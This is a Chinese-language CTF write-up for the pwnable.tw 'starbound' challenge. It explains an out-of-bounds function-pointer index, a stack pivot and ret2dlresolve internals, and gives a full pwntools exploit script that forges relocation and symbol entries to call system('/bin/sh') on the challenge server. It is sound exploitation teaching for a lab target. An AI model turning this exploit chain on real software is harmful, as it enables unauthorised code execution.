---
# System prepended metadata

title: starbound
tags: [pwnable]

---

---
title: starbound
tags: pwnable
---
# starbound
## 漏洞利用
這裡可以很明顯看出me結構中第468個bytes開始都視為函數指標，choice我們可控，且沒有做邊界檢查，所以有機會取得執行任意函數。
![](https://i.imgur.com/uU3CQmo.png)
![](https://i.imgur.com/lxQHzdV.png)
有了執行任意函數的能力後，觀察一下執行函數之前的stack狀況，發現當前stack frame是部分可控的(大概0x100 bytes)，我們可以控成我們要的ROP chain，並利用下面這個gadget觸發ROP chain。
```
0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret 
```
已經決定利用ROP了，但是此題沒有給library，所以我們不知道libc確切的offset，有很多其他的作法，最簡單的方法是用open,read和write讀flag
，三個是已經在plt內可以直接使用，但是還是想拿到shell，所以除了orw的作法外，還嘗試了ret2dlresolve，接下來指會說明ret2dlresolve的手法。

## dlresolve
### 解析函數
這裡先稍微講解一下ret2dlresolve的作法，由於lazy binding的特性，在函數尚未執行前，都不會被解析，而下面為解析的部分，以open為範例。

第一次執行open時，會先從這兩行指令開始。
![](https://i.imgur.com/Ij6zBCM.png)


---

接者會跳轉到地址`&plt[0]`，最後一個`JMP`將會跳到解析函數的入口點。
![](https://i.imgur.com/gCIqgwM.png)


---

執行完的效果大概長的如下面一樣，且解析完後，會跳轉到open函數上，並執行open。
```c
_dl_fixup(*0x8055004,0x10);
```
### 重要的section
這裡提到三個重要的section，`.rel.plt`,`.dynsym`,`.dynstr`，這三個section中存放了與函數重定位有關的結構，一次的函數解析大概就像下圖，最後會找到對應的函數名稱，並且從對應的library中將對應的function填寫到got中。
這裡比較可惜的是，本題的對於重定位表的保護為`Partial RELRO`，圖中三個table全都不能寫。
所以利用方法只能透過控制`_dl_fixup`的第二個參數。
![](https://i.imgur.com/8C04nhg.png)

### 解析流程的介紹
函數名稱以及參數
![](https://i.imgur.com/fDJgNs5.png)


---
`symtab`,`strtab`分別存放著指標指向`.dynsym`,`.dynstr`的首地址。
![](https://i.imgur.com/RmctjSu.png)


---

`reloc_offset`被定義為`reloc_arg * sizeof (PLTREL)`，這一張圖便是在找`open`在`.rel.plt`對應的entry。
![](https://i.imgur.com/1bCroLJ.png)


---

接下來透過`reloc->r_info`找到在`.dynsym`對應的entry。這裡要特別注意，**我們偽造的`.dynsym`的entry的地址減去`.dynsym`的首地址**，再模除16後必須為0，否則會導致對齊上的問題，而本題`.synsym`的地址為0x80481dc，故位造出來的地址需要滿足0xXXXXXXXc的格式。
>
![](https://i.imgur.com/W2ZbJIK.png)


---

`l->l_addr + reloc->r_offset`計算出open在got中對應的entry
![](https://i.imgur.com/ejbutoq.png)


---

**這張圖要特別注意一下**，由於記憶體段分布的限制，我們之後偽造的`.rel.plt`entry距離`.rel.plt`的首地址會很遠，所以我們的`reloc->r_info`會是一個相當大的值，這會導致segmentation fault的發生，所以我們要將`l->l_info[VERSYMIDF(DT_VERSYM)]`設為0來繞過這個if statement
![](https://i.imgur.com/u9SJxzO.png)


---

`_dl_lookup_symbol_x`便是函數解析的關鍵，解析完會回傳對應函數的在library的地址。可以看到`strtab+sym->st_name`，這個便是指向函數名稱字串的指標。
![](https://i.imgur.com/2YYBuaf.png)
最後將解析後的函數寫到got中對應的entry，此次解析便結束了。
![](https://i.imgur.com/7gfHtvF.png)
![](https://i.imgur.com/QO8LRST.png)


## 利用思路
基本上就是利用ROP，中間有做一次stack pivot，最後就完成ret2dlresolve完成後，就可以呼叫open函數，便可以呼叫system，詳細的就看code吧!
```python3
from pwn import *
import time
#p = process('./starbound',env={'LD_LIBRARY_PATH': './tmp/usr/lib/i386-linux-gnu/'})
p = remote('chall.pwnable.tw', 10202)
#context.log_level='info'
context.log_level='error'
#context.log_level = 'debug'
s='''
     b* 0x0804a65b
     b* 0x0804a0b8
'''
#gdb.attach(p,gdbscript=s)
def menu():
    log.info(p.recvuntil('> '))

def set_name(name):
    menu()
    p.sendline(b'6')
    menu()
    p.sendline(b'2')
    log.info(p.recvuntil(b': '))
    p.sendline(name)
    menu()
    p.sendline(b'1')

def calc_offset(target):
    #0x8058154 is our user's function table
    print(((target - 0x8058154)>>2))
    return ((target - 0x8058154)>>2)

def execute_rop(rop):
    #addr store the function pointer that we want to execute
    menu()
    #-33
    print(-33)
    p.sendline(b"-33\n\00\x00\x00\x00"+rop)




##########################################################
# our target is to modify put@got.plt to point to system
# put fake .rel.plt entry at 0x8055100
# put fake .dynsym  entry at 0x805510c
# put "system\x00\x00" at 0x805511c
# put "/bin/sh\x00" at 0x8055124
##########################################################
fake_resolve_data = b''.join([
    #fake .rel.plt entry
    p32(0x8055014),
    p32((0xcf3<<8)|0x7), # (0x8055110-0x080481dc)>>4 = 0xcf3
    #padding,since (fake .dynsym entry's addrees - 0x80484fc)%16 must be 0
    p32(0),
    #fake .dynsym entry
    p32(0xcc20), # 0x805511c-0x80484fc = 0xcc24
    p32(0),
    p32(0),
    p8(12),
    p8(0),
    p16(0),
    #"system"
    b'system\x00\x00'
    #"/bin/sh"
    b'/bin/sh\x00'
])

#name is at 0x80580d0
#0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret
set_name(p32(0x0804a0b8))

rop_chain = b''.join([
    p32(0x8048a70), # read
    p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret 
    p32(0),         # fd
    p32(0x8055100), # fake resolve data
    p32(200)      , # size
 
    p32(0x8048a30), # write
    p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret
    p32(1),         # fd
    p32(0x8055004), # read the pointer that point to link_map
    p32(5),         # size
 
    p32(0x8048a70), # read 
    p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret 
    p32(0),         # fd
    p32(0x08058000-0x100), # construct new stack frame
    p32(200),       # size
  
    p32(0x80491bc), # pop ebp ; ret
    p32(0x08058000-0x100), # pivot to new stack
    p32(0x8048c58), # leave ; ret
])

execute_rop(rop_chain)

p.send(fake_resolve_data) #send fake resolve data

#print(p.recvrepeat(0.5))
# read pointer point to info_map l
time.sleep(0.1)
p_info_map = p.recvn(4,timeout=1)
print(p_info_map)
p_info_map = u32(p_info_map)
print("info_map : ",hex(p_info_map))


#new stack is at 0x08058000-0x100
pivot_stage1 = b''.join([
    p32(0),         # padding

    p32(0x8048a70), # read
    p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret 
    p32(0),         # fd
    p32(p_info_map+0xe8-20), # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero
                             # since our ld.so may different to the server
                             # we have to try to guess the of set of 
                             # l->l_info[VERSYMIDX (DT_VERSYM)]
    p32(4*10),         # size

    p32(0x8048940), # &.plt[0]
    p32(0xc938),    # 0x8055100-0x80487c8 = 0xc938
    p32(0x8048970), # open@got.plt is now point to system
    p32(0x0),       # padding
    p32(0x8055124)  # /bin/sh

])
p.send(pivot_stage1) # send new stack frame
p.send(p32(0)*10) # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero
p.interactive()

```